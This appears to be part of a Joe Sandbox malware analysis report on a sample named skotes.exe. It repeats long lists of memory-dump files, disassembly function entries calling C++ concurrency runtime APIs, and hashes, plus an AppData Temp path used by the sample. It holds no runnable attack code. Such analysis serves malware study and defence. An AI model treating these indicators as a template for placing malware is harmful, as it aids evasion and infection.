Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: dad8322a397c51031d86d8bbf6cd1c5ef751c350de6e8be2d5bf28d55b202983
Instruction ID: 7eb8dd70494cf0ce515786d4a5032b378d4d1ad7d5fa2aa9f4b34fe55a27966e
Opcode Fuzzy Hash: dad8322a397c51031d86d8bbf6cd1c5ef751c350de6e8be2d5bf28d55b202983
Instruction Fuzzy Hash: 2001A2B1B83B216BEE3136797C4DE6A1198CB5AB84F051561AD00E7281DAECCC118579

Function 007AE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 007AE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007AE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007AE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 007AE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 007AE9DC

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: e312e72a36c5cbb077dfb3a6e2e507bb6853612486d11454138c8d237347fc8b
Instruction ID: 94800c437ae10582ffc925c25216bdd7611d59c5fbadb842552253ccba5f73b1
Opcode Fuzzy Hash: e312e72a36c5cbb077dfb3a6e2e507bb6853612486d11454138c8d237347fc8b
Instruction Fuzzy Hash: 70414F75A01619EFCF09DF68C458A6DB7B6FF89310F048259E506A7390CB78BE01CB91

Function 007AD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 007AD344
ListArray.LIBCONCRT ref: 007AD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007AD370
ListArray.LIBCONCRT ref: 007AD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 007AD3B3

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 545ec9f70d96d4b63b00c4b62085fa18a9e39c1a799b5eead8866c2b3a6fe422
Instruction ID: 2fa72ea0a2711074facc332b3f585bbe9183d4ab48c6eb0464c544a9669ef70e
Opcode Fuzzy Hash: 545ec9f70d96d4b63b00c4b62085fa18a9e39c1a799b5eead8866c2b3a6fe422
Instruction Fuzzy Hash: 2931A135700210EFCB15DF54C888BADB7B5BFCA710F054299E8069B392DB78AD41CB92

Function 007A86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 007A86EE

Part of subcall function 0079EAD0: _SpinWait.LIBCONCRT ref: 0079EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 007A8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007A8734
List.LIBCMT ref: 007A87B7
List.LIBCMT ref: 007A87C6

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 5aff07e516b13610491ff6c44116c966f1a8b0392d79c0e05ad8c1c88347c508
Instruction ID: 3df44d37ead1bdf2baa7359c4928e4a6b84ebb7a3c1fd3041028cd3d8f811ff1
Opcode Fuzzy Hash: 5aff07e516b13610491ff6c44116c966f1a8b0392d79c0e05ad8c1c88347c508
Instruction Fuzzy Hash: 1B31A932D01255DFCF54EFA4D5856ECBBB1BF86308F28026AD4027B252DB39AD04CB96

Function 007B182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007B18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 007B18EB

Strings

pContext, xrefs: 007B189C

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: a324c1149ac5a36692d32f95a2fb29f216d9904d04c3bc731c9f1f5552619d08
Instruction ID: 9a1feb140c7cda0bcde6e6400c97c70f09f34c141446306c7af535c9c227bf2c
Opcode Fuzzy Hash: a324c1149ac5a36692d32f95a2fb29f216d9904d04c3bc731c9f1f5552619d08
Instruction Fuzzy Hash: E021F431B00615DBCB15AB68D8A9BFDB3B9BF94334BC4412AE401872D1CFACAC51CAD0

Function 007BDFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 007BDFE8
6{, xrefs: 007BE034

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
